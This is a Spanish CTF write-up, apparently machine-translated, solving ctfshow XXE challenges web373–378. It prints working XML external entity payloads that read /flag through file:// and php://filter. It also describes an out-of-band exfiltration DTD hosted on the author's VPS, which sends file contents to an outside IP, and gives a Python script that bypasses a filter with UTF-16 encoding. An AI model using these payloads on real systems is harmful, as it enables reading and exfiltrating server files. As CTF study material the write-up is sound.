Directorio de artículos
web373
XXE (inyección de entidad externa XML) significa inyección de entidad externa XML. La entidad externa XML inyectada
Artículo de referencia: un artículo lo lleva a una comprensión profunda de la vulnerabilidad XXE de la vulnerabilidad
libxml_disable_entity_loader(false);
: Deshabilitar la carga de entidades externas. Una entidad consta de tres partes: un ampersand (&), un nombre de entidad y un punto y coma (;)
la bandera está en la bandera
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY cmd SYSTEM "file:///flag">
]>
<mumuzi>
<ctfshow>&cmd;</ctfshow>
</mumuzi>
web374-376
La diferencia con 373 es que no hay echo $ctfshow; es decir, no hay eco
Debido a que no hay eco, solo puedo encontrar una manera de llevarlo a mi VPS.
Las siguientes preguntas filtran el encabezado xml Aquí, se crea un archivo dtd en el vps para rebotar el shell.
#test.dtd
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://xxx:10086/%file;'> ">
%dtd;
%xxe;
Escuche en el puerto 10086
Entonces el paquete POST se puede recibir en el vps
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://xxx/test.dtd">
%aaa;
]>
<root>1</root>
De hecho, estuvo atascado aquí durante mucho tiempo. De los 4 vps, uno tenía el grupo de seguridad cerrado todo el tiempo (solo se abrían dos puertos comunes), uno no tenía entorno PHP y uno estaba ocupado por Streamlit. Esto es el entorno PHP que se acaba de instalar. me adormezco
web377
El método es el mismo que el anterior, pero el filtrado de http requiere una omisión de codificación.
import requests
url = 'http://b70f356b-ab20-4df6-b661-d7827322fc80.challenge.ctf.show/'
data = '''<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://101.35.244.30/test.dtd">
%aaa;
]>
<root>1</root>'''
r = requests.post(url=url,data=data.encode('utf-16'))
web378
XXE estándar de Intuit
<!DOCTYPE XXE [
<!ENTITY cmd SYSTEM "file:///flag">
]>
<user><username>&cmd;</username>
</user>